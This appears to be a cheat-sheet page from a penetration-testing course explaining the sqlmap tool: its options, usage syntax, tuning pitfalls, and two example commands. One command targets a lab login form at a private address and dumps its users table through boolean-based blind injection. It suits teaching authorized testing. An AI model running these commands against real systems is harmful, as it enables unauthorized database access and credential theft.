Attacking a web app
sqlmap
Finds and exploits a SQL injection in a web request, then reads the database out for you.
Point sqlmap at a URL (and, for a form, its --data) and name the parameter to test with -p. It sends
its own crafted payloads, decides which injection technique works, and then extracts data through the responses —
--dump reads a table. It writes the SQL itself; you supply only the request and the parameter, which is what makes
it different from a path-guesser like gobuster. --batch takes every default so it runs unattended; --level and
--risk widen the payloads it will try (needed for OR-based blind injection); --technique pins which kinds to use.
sqlmap command usage
sqlmap -u URL [--data="a=1&b=2"] -p PARAM [--batch] [--dump -T TABLE] [--dbms=NAME] [--level=N] [--risk=N] [--technique=BEUSTQ] sqlmap --help
Options
-
-u http://host/login - the target URL
-
--data="username=a&password=b" - the POST body, so sqlmap tests a form submission
-
-p username - the parameter to test for injection
-
--batch - take the default answer to every prompt; run unattended
-
--dump -T users - read out the named table once an injection is confirmed
-
--dbms=sqlite - tell sqlmap the database engine, so it skips probing the others
-
--level=5 --risk=3 - try more payloads, including OR-based blind, at some extra noise
-
--technique=B - use only this technique (B boolean-based blind, U union, E error, T time, S stacked)
sqlmap examples
-
sqlmap -u http://10.0.1.20/login --data="username=admin&password=x" -p username --batch --dbms=sqlite --level=5 --risk=3 --technique=B --dump -T users - Confirms the login's username field is injectable and dumps the users table.
Parameter: username (POST) Type: boolean-based blind
-
sqlmap -u 'http://10.0.1.20/search?q=router' -p q --batch --dbms=sqlite - Tests a GET parameter for injection.
Pitfalls
- At the default
--level/--riskit only tries a few payloads: an OR-based injection like this one needs--level=5 --risk=3. --batchanswers every prompt with the default — convenient, but read what it decided before trusting a result.